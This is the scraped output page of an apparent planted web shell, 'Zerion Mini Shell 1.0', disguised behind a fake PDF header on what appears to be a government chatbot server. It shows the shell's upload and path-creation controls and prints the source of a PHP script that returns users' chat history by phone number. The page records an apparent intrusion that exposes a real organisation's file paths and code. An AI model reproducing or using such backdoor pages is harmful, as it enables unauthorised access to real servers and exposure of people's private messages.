%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/chatbot.tjamich.gob.mx/asesores/ajax/
Upload File :
Create Path :
Current File : /home/tjamichg/chatbot.tjamich.gob.mx/asesores/ajax/ajax_historial.php

<?php
//session_start();
require("../../conexion/conexion.php");

if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["telefono"])) {
    $telefono = $conexion->real_escape_string($_POST["telefono"]);
    $query = $conexion->query("SELECT mensaje_usuario, mensaje_asesor FROM mensajes WHERE telefono = '$telefono' ORDER BY id ASC");

    $mensajes = [];
    while ($row = $query->fetch_assoc()) {
        $mensajes[] = $row;
    }

    echo json_encode($mensajes);
} else {
    echo json_encode([]);
}
?>

Zerion Mini Shell 1.0